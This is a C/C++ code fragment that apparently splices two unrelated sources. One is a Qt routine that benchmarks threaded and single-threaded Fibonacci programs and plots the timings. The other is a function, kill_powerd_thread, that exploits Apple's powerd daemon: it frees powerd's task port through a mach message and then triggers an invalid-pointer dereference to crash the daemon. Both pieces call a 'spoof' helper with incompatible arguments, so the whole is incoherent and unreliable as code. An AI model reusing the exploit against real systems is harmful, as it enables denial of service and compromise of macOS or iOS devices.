void Window::runProgram(void)
{
if(x < 1600)
{
createInputFile(matrixSize);
char *thr_Path = "/home/rohit/fibthread";
char *sin_Path = "/home/rohit/fibsingle";
char *jthr_Path = "/home/rohit/fibjthread.jar";
long sin = spoof(1, sin_Path);
long thr = spoof(1, thr_Path);
long jthr = spoof(2, jthr_Path);
qDebug() << "Single: "<< sin;
qDebug() << "PThread:" << thr;
qDebug() << "JavaThread:" << jthr;
sin = sin * 600 / 500;
thr = thr * 600 / 500;
jthr = jthr * 600 / 500;
display->drawPixel(x, 500 - sin - 10, 0, matrixSize);
display->drawPixel(x, 500 - thr - 10, 1, matrixSize);
display->drawPixel(x, 500 - jthr - 10, 2, matrixSize);
if(thr < sin){
display->drawSpot(x, 500-sin-10, 500-thr - 10);
}
matrixSize += 10;
x += 40;
}
}
static void* kill_powerd_thread(void* arg){
mach_port_t service_port = lookup("com.apple.PowerManagement.control");
// free task_self in powerd
for (int j = 0; j < 2; j++) {
spoof(service_port, 0x103);
}
// call _io_ps_copy_powersources_info which has an unchecked vm_allocate which will fail
// and deref an invalid pointer
vm_address_t buffer = 0;
vm_size_t size = 0;
int return_code;
io_ps_copy_powersources_info(service_port,
0,
&buffer,
(mach_msg_type_number_t *) &size,
&return_code);
printf("killed powerd?\n");
return NULL;
}